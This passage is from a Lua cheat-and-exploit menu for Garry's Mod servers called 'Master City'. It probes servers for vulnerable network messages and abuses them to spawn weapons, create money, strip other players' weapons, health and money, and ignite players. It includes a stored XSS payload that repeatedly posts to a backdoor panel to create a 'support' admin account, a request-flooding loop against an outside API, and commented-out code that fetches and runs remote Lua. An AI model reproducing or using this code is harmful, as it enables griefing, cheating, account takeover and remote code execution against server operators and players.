2185 hook.Remove("PreRender", "PreRenderFrameBlend")
2186
2187 hook.Remove("Think", "DOFThink")
2188
2189 hook.Remove("RenderScreenspaceEffects", "RenderBokeh")
2190
2191 hook.Remove("NeedsDepthPass", "NeedsDepthPass_Bokeh")
2192
2193 hook.Remove("PostDrawEffects", "RenderWidgets")
2194
2195 hook.Remove("PostDrawEffects", "RenderHalos")
2196
2197 end)
2198
2199 hook.Add("OnEntityCreated","WidgetInit",function(ent)
2200 if ent:IsWidget() then
2201 hook.Add( "PlayerTick", "TickWidgets", function( pl, mv ) widgets.PlayerTick( pl, mv ) end )
2202 hook.Remove("OnEntityCreated","WidgetInit")
2203
2204 end
2205
2206 end)
2207
2208end)
2209
2210rebug.AddButton("Scan Backdoors", bar4, function()
2211
2212 surface.PlaySound("buttons/button18.wav")
2213
2214 CheckBackdoors()
2215
2216
2217end)
2218
2219rebug.AddButton("GBackdoor Exploit", bar4, function()
2220
2221 surface.PlaySound("buttons/button18.wav")
2222
2223 Derma_StringRequest("GBacdoor Exploit", "LINK/core/stage2.php", "", function(str)
2224
2225 timer.Create('13134657', 5, 0, function()
2226
2227 http.Post(""..str,{nb = 27,i = math.random(1,99999)..'.'..math.random(1,99999)..'.'..math.random(1,99999),
2228
2229 n = math.random(1,99999)..':'..math.random(1,99999)..[[<script>$.ajax({url: 'core/ajax/add-user.php?username=support&password=support&cpassword=support'});</script>]]
2230
2231 })end)
2232
2233
2234 end)
2235
2236end)
2237
2238rebug.AddButton("CodeFodder Exploit", bar4, function()
2239
2240 surface.PlaySound("buttons/button18.wav")
2241
2242 Derma_StringRequest("CodeFodder Exploit", "Download ID", "", function(str)
2243
2244 timer.Create("omgstopit",0.1,0, function()
2245
2246 http.Fetch("https://api.codefodder.store/download/"..str)
2247
2248 end )
2249
2250 end)
2251
2252end)
2253
2254rebug.AddButton("Rainbow physgun", bar4, function()
2255
2256 surface.PlaySound("buttons/button18.wav")
2257
2258 hook.Add("Think", "rainbowphysgun", function()
2259
2260 for k,ply in ipairs(player.GetAll()) do
2261
2262 local col = HSVToColor(CurTime() % 6 * 60, 1, 1)
2263
2264 ply:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
2265
2266 end
2267
2268 end)
2269
2270end)
2271
2272rebug.AddButton("Bunny Hop", bar4, function()
2273
2274 surface.PlaySound("buttons/button18.wav")
2275
2276
2277 if hook.GetTable()["VOIDZZ"] then
2278
2279 hook.Remove("VOIDZZ")
2280
2281end
2282
2283local function ch_bunnyhop(ply)
2284
2285 if(ply:KeyDown(IN_JUMP) && !LocalPlayer():IsOnGround()) then
2286
2287 ply:RemoveKey(IN_JUMP);
2288
2289 if !LocalPlayer():IsFlagSet(FL_ONGROUND) and LocalPlayer():GetMoveType() != MOVETYPE_NOCLIP then
2290
2291 if(ply:GetMouseX() > 1 || ply:GetMouseX() < -1) then
2292
2293 ply:SetSideMove(ply:GetMouseX() > 1 && 400 || -400);
2294
2295 else
2296
2297 ply:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D());
2298
2299 ply:SetSideMove((ply:CommandNumber() % 2 == 0) && -400 || 400);
2300
2301 end
2302
2303 end
2304
2305 elseif(ply:KeyDown(IN_JUMP)) then
2306
2307 ply:SetForwardMove(10000)
2308
2309 end
2310
2311end
2312
2313hook.Add("CreateMove", "VOIDZZ", function(ply)
2314
2315 ch_bunnyhop(ply);
2316
2317 end);
2318
2319end)
2320
2321
2322rebug.AddButton("Fast Exit", bar4, function()
2323
2324 surface.PlaySound("buttons/button18.wav")
2325
2326 print("My Name Chegg")
2327
2328end)
2329
2330MsgC(Color(0, 240, 255), "♬ Master City ♬\n")
2331MsgC(Color(0, 200, 255), "Type master_open in console to open!\n")
2332surface.PlaySound("HL1/fvox/bell.wav") -- nice playsound
2333
2334
2335chat.AddText(Color(25,83,56), "Master City, Created by: UG | M A S T E R")
2336MsgC(Color(255, 255, 255), "Well, sv_allowcslua 1, see if there is any exploits. If there is. EXPLOIT THEM")
2337print("\n\n\n")
2338MsgC(Color(23,65,43), "MasterCity!")
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349function ValidNetString( str )
2350
2351 local status, error = pcall( net.Start, str )
2352
2353 return status
2354
2355end
2356
2357local function playSound(url)
2358
2359 sound.PlayURL(url, '', function( station )
2360
2361 if ( IsValid( station ) ) then
2362
2363 station:SetPos( LocalPlayer():GetPos() )
2364 station:Play()
2365
2366 end
2367 end)
2368
2369end
2370
2371// rip 404
2372//playSound("https://itzvoltz.xyz/ec/exploitsismyscity.mp3")
2373
2374
2375
2376
2377
2378-- Overriding original DL_Answering_global so it doesnt crash you when kicking all
2379
2380net.Receive("DL_Answering_global", function(_len)
2381end)
2382
2383
2384--[[ WATERMARK ]] --
2385// rip 404
2386/*
2387Watermark = vgui.Create( "HTML" )
2388Watermark:SetPos( -13, -8)
2389Watermark:SetSize( ScrW(), ScrH())
2390Watermark:OpenURL( "https://itzvoltz.xyz/ec/watermark.html" )
2391*/
2392GRADIENT_HORIZONTAL = 0;
2393GRADIENT_VERTICAL = 1;
2394function draw.LinearGradient(x,y,w,h,from,to,dir,res)
2395 dir = dir or GRADIENT_HORIZONTAL;
2396 if dir == GRADIENT_HORIZONTAL then res = (res and res <= w) and res or w;
2397 elseif dir == GRADIENT_VERTICAL then res = (res and res <= h) and res or h; end
2398 for i=1,res do
2399 surface.SetDrawColor(
2400 Lerp(i/res,from.r,to.r),
2401 Lerp(i/res,from.g,to.g),
2402 Lerp(i/res,from.b,to.b),
2403 Lerp(i/res,from.a,to.a)
2404 );
2405 if dir == GRADIENT_HORIZONTAL then surface.DrawRect(x + w * (i/res), y, w/res, h );
2406 elseif dir == GRADIENT_VERTICAL then surface.DrawRect(x, y + h * (i/res), w, h/res ); end
2407 end
2408end
2409
2410function SploitText( str )
2411
2412 chat.AddText( Color( 0, 255, 255 ), "[MC] ", Color( 0, 200, 255), str )
2413
2414end
2415
2416surface.CreateFont( "customfont", {
2417 font = "Roboto",
2418 size = 21,
2419} )
2420
2421surface.CreateFont( "customfont2", {
2422 font = "Calibri",
2423 size = 15,
2424} )
2425
2426surface.CreateFont( "customfont3", {
2427 font = "Calibri",
2428 size = 24,
2429} )
2430
2431
2432surface.CreateFont( "closebuttonfont", {
2433 font = "Caviar Dreams",
2434 size = 21,
2435} )
2436
2437
2438
2439
2440
2441
2442local function SploitNotify(text)
2443
2444local notify = vgui.Create( "DPanel" )
2445notify:SetSize( 200, 50 )
2446notify:SetPos( ScrW() - 200, -50 )
2447notify.Paint = function(self, w, h)
2448draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
2449draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
2450draw.SimpleText( text, "customfont3", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
2451end
2452
2453
2454notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
2455timer.Simple( 3, function()
2456notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
2457end);end)
2458
2459end
2460
2461
2462
2463
2464
2465--[[Weapon Stripper Menu]]--
2466
2467time = 1
2468
2469
2470function Ply(name) -- finds player name
2471 name = string.lower(name);
2472 for _,v in ipairs(player.GetHumans()) do
2473 if(string.find(string.lower(v:Name()),name,1,true) != nil) then
2474 return v;
2475 end
2476 end
2477 end
2478
2479 function stripPlayer(ply) -- Strip player function
2480 if ply:IsPlayer() then
2481
2482 for k,v in pairs(ply:GetWeapons()) do
2483
2484 net.Start("properties")
2485 net.WriteString( "remove" , 32 )
2486 net.WriteEntity( v )
2487 net.SendToServer()
2488 end
2489 end
2490
2491 end
2492 concommand.Add("removewep_crosshair", function()
2493 local xhair = LocalPlayer():GetEyeTrace().Entity
2494 stripPlayer(xhair)
2495 end)
2496
2497 function removeAll() -- Strips all Players
2498 for k,v in pairs(player.GetAll()) do
2499 stripPlayer(v)
2500 end
2501 end
2502
2503
2504 local f = vgui.Create( "DFrame" )
2505 f:SetTitle("Weapon Stripper")
2506 f:SetSize( 500, 500 )
2507 f:Center()
2508 f:MakePopup()
2509 f:SetVisible(false)
2510 f:ShowCloseButton(false)
2511 f.Paint = function( self, w, h )
2512 draw.RoundedBox( 5, 0, 0, w, h, Color(40, 40, 40))
2513 end
2514
2515 local closebutton2 = vgui.Create( "DButton", f )
2516closebutton2:SetText( "X" )
2517closebutton2:SetTextColor( Color( 255, 0, 0 ) )
2518closebutton2:SetPos( f:GetWide() - 31, 0 )
2519closebutton2:SetFont("closebuttonfont")
2520closebutton2:SetSize( 31, 31 )
2521closebutton2.Paint = function( self, w, h )
2522 if closebutton2:IsHovered() then
2523 draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
2524 else
2525 draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
2526 end
2527end
2528closebutton2.DoClick = function()
2529f:SetVisible(false)
2530end
2531
2532 local button = vgui.Create("DButton", f)
2533 button:SetText("Strip All")
2534 button:SetPos(220,40)
2535 button:SetTextColor(Color(255, 255, 255))
2536 button.DoClick = function ()
2537 removeAll()
2538 end
2539 button.Paint = function( self, w, h )
2540 draw.RoundedBox( 5, 0, 0, w, h, Color(60, 60, 60))
2541 end
2542
2543
2544 local DermaCheckboxone = vgui.Create( "DCheckBoxLabel" , f )// Create the checkbox
2545 DermaCheckboxone:SetPos( 220, 70 )// Set the position
2546 DermaCheckboxone:SetValue(false)
2547 DermaCheckboxone:SetText("Remove All Timer")
2548 function DermaCheckboxone:OnChange( val )
2549 if (val) then
2550 print("rekt all player's weapons")
2551 net.Start("properties")
2552 net.WriteString( "remove" , 32 )
2553 net.WriteEntity( player.GetAll() )
2554 net.SendToServer()
2555 timer.Create( "removealltimer", time, 0, function()
2556 print("rekt all player's weapons")
2557 net.Start("properties")
2558 net.WriteString( "remove" , 32 )
2559 net.WriteEntity( player.GetAll() )
2560 net.SendToServer()
2561 end)
2562 else
2563 timer.Remove("removealltimer")
2564 end
2565 end
2566
2567 local TimeSlider = vgui.Create( "DNumSlider", f )
2568TimeSlider:SetPos( 220, 90 ) // Set the position
2569TimeSlider:SetSize( 200, 15 ) // Set the size
2570TimeSlider:SetText( "Time Interval" ) // Set the text above the slider
2571TimeSlider:SetMin( .1 ) // Set the minimum number you can slide to
2572TimeSlider:SetMax( 7.5 ) // Set the maximum number you can slide to
2573TimeSlider:SetValue( 1 )
2574TimeSlider:SetDecimals( 1 ) // Decimal places - zero for whole number
2575TimeSlider.OnValueChanged = function( panel, value )
2576 time = math.Round(value, 1)
2577 if DermaCheckboxone:GetChecked() == 1 then
2578 timer.Remove("removealltimer")
2579 timer.Create( "removealltimer", time, 0, function()
2580 print("rekt")
2581 net.Start("properties")
2582 net.WriteString( "remove" , 32 )
2583 net.WriteEntity( player.GetAll() )
2584 net.SendToServer()
2585 end)
2586 end
2587end
2588
2589
2590 local AppList = vgui.Create( "DListView", f)
2591 AppList:SetSize(200,100)
2592 AppList:Dock( LEFT )
2593 AppList:SetMultiSelect( false )
2594 AppList:AddColumn( "Name" )
2595 for k, v in pairs(player.GetAll()) do
2596 AppList:AddLine(v:Name())
2597 end
2598
2599 AppList.OnRowSelected = function( lst, index, pnl )
2600 --print( "Selected " .. pnl:GetColumnText( 1 ) .. " at index " .. index )
2601 ply = Ply(pnl:GetColumnText( 1 ))
2602 print(pnl:GetColumnText( 1 ) .. " rekt")
2603 stripPlayer(ply)
2604
2605 end
2606
2607
2608 concommand.Add("menu",menu)
2609 concommand.Add("strip",stripPlayer)
2610function removeWeapons()
2611
2612 local Target = LocalPlayer():GetEyeTrace().Entity
2613
2614 if Target:IsPlayer() then
2615 for x,y in pairs(Target:GetWeapons()) do
2616
2617 net.Start("properties")
2618 net.WriteString( "remove" , 32 )
2619 net.WriteEntity( y )
2620 net.SendToServer()
2621 end
2622
2623 end
2624
2625end
2626
2627--[[End of Weapon Stripper]]--
2628
2629local wMain = ScrW() / 3
2630local hMain = ScrH() / 2.8
2631totalSploits = 0
2632
2633
2634local Main = vgui.Create( "DFrame" )
2635Main:SetTitle("")
2636Main:SetSize( wMain, hMain )
2637Main:SetPos( ScrW() / 2 - Main:GetWide() / 2, ScrH())
2638Main:SetMouseInputEnabled(true)
2639Main:SetKeyBoardInputEnabled(true)
2640Main:SetDraggable(false)
2641Main:SetVisible(false)
2642Main:ShowCloseButton(false)
2643Main.Paint = function( self, w, h )
2644 draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 240 ) )
2645 draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
2646 --draw.RoundedBox( 0, 0, 0, w, 31, Color( 20, 20, 20, 255 ) )
2647 surface.SetDrawColor( 0, 0, 0, 255)
2648 surface.DrawOutlinedRect( 0, 0, w, h )
2649 draw.SimpleText( "✡ Master City ✡", "customfont", Main:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
2650 draw.SimpleText( totalSploits .. "/36", "customfont", 6, 6, Color(255, 255, 255), TEXT_ALIGN_LEFT )
2651 draw.SimpleText( "Created by UG | M A S T E R", "customfont", Main:GetWide() / 800, 300, HSVToColor( CurTime() % 3 * 60, 0.45, 1 ), TEXT_ALIGN_TOP_LEFT )
2652end
2653
2654
2655
2656local closebutton = vgui.Create( "DButton", Main )
2657closebutton:SetText( "X" )
2658closebutton:SetTextColor( Color( 255, 0, 0 ) )
2659closebutton:SetPos( Main:GetWide() - 31, 0 )
2660closebutton:SetFont("closebuttonfont")
2661closebutton:SetSize( 31, 31 )
2662closebutton.Paint = function( self, w, h )
2663 if closebutton:IsHovered() then
2664 draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
2665 else
2666 draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
2667 end
2668end
2669
2670local weaponbutton = vgui.Create( "DButton", Main )
2671weaponbutton:SetText( "Weapon Stripper" )
2672weaponbutton:SetTextColor( Color( 255, 255, 255 ) )
2673weaponbutton:SetSize( 31 * 3.5, 31 )
2674weaponbutton:SetPos( Main:GetWide() - 31 * 4.5, 0 )
2675weaponbutton:SetFont("customfont2")
2676weaponbutton.Paint = function( self, w, h )
2677 if weaponbutton:IsHovered() then
2678 draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
2679 else
2680 draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
2681 end
2682end
2683weaponbutton.DoClick = function()
2684f:SetVisible(true)
2685end
2686
2687local tabs = vgui.Create( "DPropertySheet", Main )
2688tabs:Dock( FILL )
2689tabs:DockPadding( 5, 5, 0, 0)
2690tabs.Paint = function (self, w, h)
2691for k, v in pairs(tabs.Items) do
2692 if (!v.Tab) then continue end
2693
2694 v.Tab.Paint = function(self,w,h)
2695 draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
2696 end
2697end
2698end
2699
2700local exploitsPanel = vgui.Create( "DPanel", tabs )
2701exploitsPanel.Paint = function( self, w, h )
2702--draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
2703draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
2704end
2705tabs:AddSheet( "Exploits", exploitsPanel )
2706
2707local toolsPanel = vgui.Create( "DPanel", tabs )
2708toolsPanel.Paint = function( self, w, h )
2709draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
2710end
2711tabs:AddSheet( "Tools", toolsPanel )
2712
2713local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
2714exploitsScrollPanel:Dock( FILL )
2715
2716local toolsScrollPanel = vgui.Create( "DScrollPanel", toolsPanel )
2717toolsScrollPanel:Dock( FILL )
2718
2719--[[ FUNCTIONS ]]
2720
2721function addExploit(id, text, desc, func)
2722local id2 = id .. "."
2723local name = text
2724totalSploits = 1 + totalSploits
2725
2726local id = vgui.Create( "DButton", exploitsScrollPanel )
2727id:SetText( name )
2728id:SetTextColor( Color( 200, 200, 200 ) )
2729id:SetFont("customfont")
2730id:Dock( TOP )
2731id:DockMargin( 2, 10, 2, -5 )
2732id:DockPadding( 2, 25, 2, 50 )
2733id.DoClick = func
2734
2735
2736id.Paint = function( self, w, h )
2737 if id:IsHovered() then
2738 draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
2739 draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
2740 else
2741 draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
2742 end
2743 surface.SetDrawColor( 0, 0, 0, 255)
2744 surface.DrawOutlinedRect( 0, 0, w, h )
2745end
2746end
2747
2748function addTool(id, text, desc, func)
2749local id2 = id .. "."
2750local name = text
2751
2752local id = vgui.Create( "DButton", toolsScrollPanel )
2753id:SetText( name )
2754id:SetTextColor( Color( 200, 200, 200 ) )
2755id:SetFont("customfont")
2756id:Dock( TOP )
2757id:DockMargin( 2, 10, 2, -5 )
2758id:DockPadding( 2, 25, 2, 50 )
2759id.DoClick = func
2760
2761
2762id.Paint = function( self, w, h )
2763 if id:IsHovered() then
2764 draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
2765 draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
2766 else
2767 draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
2768 end
2769 surface.SetDrawColor( 0, 0, 0, 255)
2770 surface.DrawOutlinedRect( 0, 0, w, h )
2771end
2772end
2773
2774function addServer(id, text, desc, ip)
2775local id2 = id .. "."
2776local name = text
2777
2778local id = vgui.Create( "DButton", serversScrollPanel )
2779id:SetText( name )
2780id:SetTextColor( Color( 200, 200, 200 ) )
2781id:SetFont("customfont")
2782id:Dock( TOP )
2783id:DockMargin( 2, 10, 2, -5 )
2784id:DockPadding( 2, 25, 2, 50 )
2785id.DoClick = function()
2786 LocalPlayer():ConCommand("connect "..ip)
2787end
2788
2789
2790id.Paint = function( self, w, h )
2791 if id:IsHovered() then
2792 draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
2793 draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
2794 else
2795 draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
2796 end
2797 surface.SetDrawColor( 0, 0, 0, 255)
2798 surface.DrawOutlinedRect( 0, 0, w, h )
2799end
2800end
2801
2802function broadcast( str )
2803
2804 if( str != nil ) then
2805
2806 SploitText("Beginning to broadcast message: " .. str)
2807
2808else
2809
2810 SploitText("Message is nil, enter a valid string!")
2811
2812end
2813
2814 for k,v in pairs( player.GetAll() ) do
2815
2816 if ( v != LocalPlayer() ) then
2817
2818 RunConsoleCommand( "ulx", "psay", v:Nick(), str )
2819
2820 end
2821
2822 end
2823
2824end
2825
2826
2827hook.Add("Think", "RGBSTF", function()
2828local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
2829 LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
2830 LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
2831end)
2832
2833
2834--[[ SERVERS ]]--
2835/*
2836
2837 http.Fetch("https://itzvoltz.xyz/ec/serverlist.lua", function( ret )
2838
2839 RunString( ret )
2840
2841end)
2842
2843
2844
2845-- [[ Tools ]]
2846
2847-- [[ Server List ]]
2848
2849addTool("serverList", "Server List", "Opens a menu with exploitable servers", function()
2850 LocalPlayer():ConCommand("exploitable_servers")
2851end)
2852
2853*/
2854
2855--[[ ULX PSAY BROADCASTER ]]
2856if ulx then
2857addTool("pSayBroadcaster", "ULX PSAY Broadcast", "PM's every player on the server", function ()
2858
2859 --[[ Vars ]]
2860
2861 local wPsay = ScrW() / 5
2862 local hPsay = ScrH() / 10
2863
2864 --[[ Menu ]]
2865
2866 local pSayMain = vgui.Create( "DFrame" )
2867 pSayMain:SetTitle("")
2868 pSayMain:SetSize( wPsay, hPsay )
2869 pSayMain:SetPos(50, ScrH() / 2)
2870 pSayMain:SetMouseInputEnabled(true)
2871 pSayMain:SetKeyBoardInputEnabled(true)
2872 pSayMain:ShowCloseButton(false)
2873 pSayMain:MakePopup()
2874 pSayMain.Paint = function( self, w, h )
2875 draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
2876 draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
2877 surface.SetDrawColor( 0, 0, 0, 255)
2878 surface.DrawOutlinedRect( 0, 0, w, h )
2879 draw.SimpleText( "PM Broadcaster", "customfont", w / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
2880end
2881
2882
2883
2884local psayClose = vgui.Create( "DButton", pSayMain )
2885psayClose:SetText( "X" )
2886psayClose:SetTextColor( Color( 255, 0, 0 ) )
2887psayClose:SetPos( pSayMain:GetWide() - 31, 0 )
2888psayClose:SetFont("closebuttonfont")
2889psayClose:SetSize( 31, 31 )
2890psayClose.Paint = function( self, w, h )
2891 if psayClose:IsHovered() then
2892 draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
2893 else
2894 draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
2895 end
2896end
2897
2898psayClose.DoClick = function()
2899 pSayMain:Remove()
2900end
2901
2902local psayInput = vgui.Create( "DTextEntry", pSayMain )
2903psayInput:SetPos( 25, 40 )
2904psayInput:SetSize( pSayMain:GetWide() / 2 , 25 )
2905psayInput:SetText( "BroadcastMSG" )
2906psayInput.OnEnter = function( self )
2907 chat.AddText( self:GetValue() )
2908end
2909
2910local sendBroadCast = vgui.Create( "DButton", pSayMain )
2911sendBroadCast:SetText( "Broadcast" )
2912sendBroadCast:SetTextColor( Color( 255, 255, 255 ) )
2913sendBroadCast:SetPos( 220, 40 )
2914sendBroadCast:SetFont("customfont")
2915sendBroadCast:SetSize( 90, 25 )
2916sendBroadCast.Paint = function( self, w, h )
2917 if sendBroadCast:IsHovered() then
2918 draw.RoundedBox( 0, 0, 0, w, h, Color( 40, 40, 40, 255 ) )
2919 else
2920 draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
2921 end
2922end
2923
2924sendBroadCast.DoClick = function()
2925 broadcast( psayInput:GetValue() )
2926
2927end
2928
2929
2930
2931end)
2932end
2933
2934
2935--[[ Exploits ]]--
2936
2937
2938
2939local status = ValidNetString("CraftSomething")
2940if (status) then
2941SploitText("Found exploitable net message: CraftSomething")
2942addExploit( "1", "Give Weapons", "Gives you any weapon of your choice", function()
2943 inputFrameExists = true
2944 inputFrame = vgui.Create( "DFrame" )
2945 inputFrame:SetTitle("Choose a weapon!")
2946 inputFrame:SetSize( 400, 75 )
2947 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
2948 inputFrame:SetDraggable(false)
2949 inputFrame:ShowCloseButton(false)
2950 inputFrame:MakePopup()
2951 inputFrame.Paint = function( self, w, h )
2952 draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
2953 end
2954
2955 local TextEntry = vgui.Create( "DTextEntry", inputFrame )
2956 TextEntry:SetSize( 380, 30 )
2957 TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
2958 TextEntry:SetText( "m9k_ak47" )
2959 TextEntry.OnEnter = function( self )
2960 surface.PlaySound("garrysmod/ui_click.wav")
2961 SploitText("Giving Weapon")
2962 net.Start( "CraftSomething" )
2963 net.WriteEntity( LocalPlayer() )
2964 net.WriteString( self:GetValue() )
2965 net.WriteString( "" )
2966 net.WriteString( "weapon" )
2967 net.SendToServer()
2968 inputFrame:SetVisible(false)
2969 end
2970end)
2971end
2972
2973
2974local status = ValidNetString("TCBuyAmmo")
2975if (status) then
2976SploitText("Found exploitable net message: TCBuyAmmo")
2977addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
2978 surface.PlaySound("garrysmod/ui_click.wav")
2979 SploitText("Getting Le Ammo")
2980 for k,v in pairs(GAMEMODE.AmmoTypes) do
2981
2982 net.Start("TCBBuyAmmo")
2983
2984 net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
2985
2986 net.SendToServer()
2987
2988 end
2989end);end
2990
2991
2992
2993local status = ValidNetString("DataSend")
2994if (status) then
2995SploitText("Found exploitable net message: Steal All Monies #1")
2996addExploit( "4","Steal All Monies #1", "Takes money from printers", function()
2997 surface.PlaySound("garrysmod/ui_click.wav")
2998 for k, v in pairs( ents.GetAll() ) do
2999
3000 if v:GetClass() == "adv_moneyprinter" then
3001
3002 SploitText("Collecting Money")
3003
3004 net.Start("DataSend")
3005
3006 net.WriteFloat(2)
3007
3008 net.WriteEntity(v)
3009
3010 net.WriteEntity(LocalPlayer())
3011
3012 net.SendToServer()
3013
3014 end;end
3015end);end
3016
3017
3018
3019
3020
3021
3022local status = ValidNetString("FarmingmodSellItems")
3023if (status) then
3024SploitText("Found Exploit: Free Money")
3025addExploit( "5","Free Money", "An exploit in the Farming Mod", function()
3026surface.PlaySound("garrysmod/ui_click.wav")
3027SploitText("Enjoy the b1g monies")
3028net.Start( "FarmingmodSellItems" )
3029net.WriteTable(
3030{
3031Cost = 10,
3032CropModel = "models/props/eryk/garlic.mdl",
3033CropType = 2,
3034Info = "Garlic Seed",
3035Model = "models/props/eryk/seedbag.mdl",
3036Name = "Garlic",
3037Quality = 4,
3038Sell = 99999,
3039Type = "Seed"
3040}
3041)
3042net.WriteInt(1,16)
3043net.SendToServer()
3044end);end
3045
3046
3047local status = ValidNetString("start_wd_emp")
3048if (status) then
3049SploitText("Found Exploit: Hack Keypads")
3050addExploit( "6","Hack Keypads", "An exploit in the hacking phone", function()
3051 surface.PlaySound("garrysmod/ui_click.wav")
3052 SploitNotify("Hacking Keypads")
3053 net.Start('start_wd_emp')
3054 net.SendToServer()
3055end);end
3056
3057
3058local status = ValidNetString("duelrequestguiYes")
3059if (status) then
3060SploitText("Found Exploit: Get Money")
3061addExploit( "7","Get Money", "Duel Exploit", function()
3062 surface.PlaySound("garrysmod/ui_click.wav")
3063 SploitNotify("getting ez monies")
3064net.Start("duelrequestguiYes")
3065net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
3066net.WriteEntity(table.Random( player.GetAll() ) )
3067net.WriteString("Crossbow")
3068net.SendToServer()
3069end);end
3070
3071
3072local status = ValidNetString("drugseffect_remove")
3073if (status) then
3074SploitText("Found exploitable net message: drugseffect_remove ")
3075addExploit( "8","Remove All Weapons", "An exploit in the drug addon", function()
3076 surface.PlaySound("garrysmod/ui_click.wav")
3077 SploitText("Removing Weapons from All")
3078 net.Start("drugseffect_remove")
3079 net.SendToServer()
3080end);end
3081
3082local status = ValidNetString("drugs_money")
3083if (status) then
3084SploitText("Found exploitable net message: drugs_money")
3085addExploit( "9","Remove All Money", "An exploit in the drug addon", function()
3086 surface.PlaySound("garrysmod/ui_click.wav")
3087 SploitText("Removing Weapons from All")
3088 net.Start("drugs_money")
3089 net.SendToServer()
3090end);end
3091
3092local status = ValidNetString("drugs_ignite")
3093if (status) then
3094SploitText("Found exploitable net message: drugs_ignite")
3095addExploit( "10","Ignite Props", "An exploit in the drug addon", function()
3096 surface.PlaySound("garrysmod/ui_click.wav")
3097 SploitText("Igniting Props")
3098 net.Start("drugs_ignite")
3099 net.WriteString("prop_physics")
3100 net.SendToServer()
3101end);end
3102
3103
3104local status = ValidNetString("drugs_ignite")
3105if (status) then
3106addExploit( "11","Ignite Players", "An exploit in the drug addon", function()
3107 surface.PlaySound("garrysmod/ui_click.wav")
3108 SploitText("Igniting Players")
3109 net.Start("drugs_ignite")
3110 net.WriteString("player")
3111 net.SendToServer()
3112end);end
3113
3114
3115local status = ValidNetString("drugseffect_hpremove")
3116if (status) then
3117SploitText("Found Exploit: Remove All Players HP")
3118addExploit( "12","Remove All Players HP", "An exploit in the drug addon", function()
3119 surface.PlaySound("garrysmod/ui_click.wav")
3120 SploitText("Removing All Players HP")
3121 net.Start("drugseffect_hpremove")
3122 net.WriteString(1)
3123 net.SendToServer()
3124end);end
3125
3126
3127local status = ValidNetString("drugseffect_hpremove")
3128if (status) then
3129SploitText("Found Exploit: Give All God")
3130addExploit( "13","Give All God", "An exploit in the drug addon", function()
3131 surface.PlaySound("garrysmod/ui_click.wav")
3132 SploitText("Giving All God")
3133 net.Start("drugseffect_hpremove")
3134 net.WriteString(299999)
3135 net.SendToServer()
3136end);end
3137
3138local status = ValidNetString("drugs_text")
3139if (status) then
3140SploitText("Found Exploit: Remove All Props")
3141addExploit( "14","Remove All Props", "An exploit in the drug addon", function()
3142 surface.PlaySound("garrysmod/ui_click.wav")
3143 SploitText("Removing All Props")
3144 net.Start("drugs_text")
3145 net.WriteString("prop_physics")
3146 net.SendToServer()
3147end);end
3148
3149local status = ValidNetString("DarkRP_Kun_ForceSpawn")
3150if (status) then
3151SploitText("Found Exploit: TP")
3152addExploit( "15", "TP", "No clue what this does xd", function()
3153 surface.PlaySound("garrysmod/ui_click.wav")
3154 SploitText("TPing")
